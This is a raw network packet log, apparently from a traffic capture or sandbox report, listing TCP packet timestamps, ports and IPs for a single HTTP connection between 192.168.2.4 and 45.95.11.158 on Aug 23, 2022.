Aug 23, 2022 03:42:58.161097050 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.161125898 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.161366940 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.161411047 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.161437988 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.161461115 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.196518898 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.196613073 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.196943045 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.196971893 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.196988106 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.197014093 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.197041035 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.197057962 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.197082043 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.197093964 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.197122097 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.197169065 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.197299957 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.197330952 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.197359085 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.197371960 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.197384119 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.197412968 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.197421074 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.197447062 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.197484970 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.197505951 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.197551012 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.197601080 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.197642088 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.197669029 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.197681904 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.197709084 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.197746992 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.197763920 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.197808981 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.197834969 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.197846889 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.198724985 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.232971907 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.233035088 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.233067036 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.233114958 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.233140945 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.233175039 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.233201981 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.233222008 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.233248949 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.233287096 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.233305931 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.233350039 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.233364105 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.233407974 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.233418941 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.233450890 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.233473063 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.233509064 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.233527899 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.233565092 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.233582020 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.233618975 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.233634949 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.233666897 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.233688116 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.233730078 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.233740091 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.233769894 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.233792067 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.233838081 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.233849049 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.233877897 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.233902931 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.233946085 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.233956099 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.233985901 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.234009027 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.234045982 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.234061956 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.234088898 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.234117031 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.234153986 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.234169960 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.234194040 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.234220982 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.234266043 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.234281063 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.234309912 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.234338045 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.234381914 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.234394073 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.234424114 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.234446049 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.234482050 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.234499931 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.234529972 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.234553099 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.234590054 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.234607935 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.234642982 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.234658957 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.234693050 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.234729052 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.234764099 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.234775066 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.234797955 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.234834909 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.234872103 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.234890938 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.234919071 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.234942913 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.234980106 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.234997034 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.235028982 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.235049963 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.235091925 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.235101938 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.235133886 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.271617889 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.271666050 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.271699905 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.271743059 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.271770000 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.271780968 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.271814108 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.271846056 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.271859884 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.271893024 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.271905899 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.271938086 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.271965981 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.271979094 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.271997929 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.272031069 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.272054911 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.272072077 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.272090912 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.272123098 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.272147894 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.272161961 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.272181034 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.272212982 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.272229910 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.272259951 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.272294044 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.272320986 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.272353888 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.272397041 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.272437096 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.272468090 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.272480011 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.272511005 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.272551060 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.272571087 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.272592068 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.272627115 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.272669077 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.272689104 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.272718906 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.272753000 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.272804022 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.272814989 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.272845984 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.272874117 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.272922039 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.272933006 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.272964954 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.272990942 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.273031950 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.273050070 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.273086071 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.273108006 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.273149014 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.273165941 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.273190022 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.273221970 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.273267984 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.273283958 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.273319006 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.273344040 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.273391962 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.273403883 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.273432016 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.273459911 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.273502111 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.273520947 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.273565054 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.273601055 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.273644924 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.273678064 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.273718119 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.273736000 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.273765087 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.273792982 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.273839951 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.273853064 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.273881912 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.273912907 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.273951054 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.273977041 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.273993015 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.274023056 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.274069071 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.274081945 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.274110079 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.274141073 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.274179935 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.274198055 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.274245977 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.274260044 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.274298906 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.274329901 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.274358988 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.274389982 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.274421930 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.274466038 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.274486065 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.274502039 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.274525881 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.274558067 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.274596930 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.274636984 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.274655104 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.274684906 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.274713039 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.274754047 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.274770021 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.274816990 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.274830103 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.274858952 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.274887085 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.274933100 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.274945021 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.274971962 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.275002956 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.275043964 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.275057077 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.275085926 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.289419889 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.289455891 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.289526939 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.289547920 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.289571047 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.289578915 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.289599895 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.289621115 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.289649963 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.289661884 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.289689064 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.289702892 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.289724112 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.289762020 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.289948940 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.290066004 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.290226936 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.290256023 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.290273905 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.290291071 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.290303946 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.290328026 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.290340900 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.290366888 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.290380001 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.290402889 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.290416002 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.290435076 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.290452957 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.290468931 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.309895992 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.309971094 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.310003996 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.310029030 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.310092926 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.310136080 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.310172081 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.310211897 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.310250044 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.310303926 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.310327053 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.310368061 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.310411930 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.310465097 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.310491085 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.310508013 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.310570002 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.310615063 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.310655117 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.310702085 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.310734987 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.310789108 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.310832024 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.310866117 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.310911894 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.310951948 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.310993910 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.311032057 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.311073065 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.311110020 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.311151981 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.311189890 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.311233997 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.311258078 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.311269045 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.311311007 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.311373949 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.311430931 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.311474085 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.311501026 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.311541080 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.311579943 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.311619043 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.311660051 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.311698914 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.311739922 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.311781883 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.311842918 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.311882019 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.311904907 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.311961889 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.311976910 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.312000990 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.312055111 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.312099934 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.312139988 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.312181950 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.312230110 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.312271118 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.312309027 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.312356949 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.312401056 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.312442064 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.312485933 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.312516928 CEST	80	49743	45.95.11.158	192.168.2.4
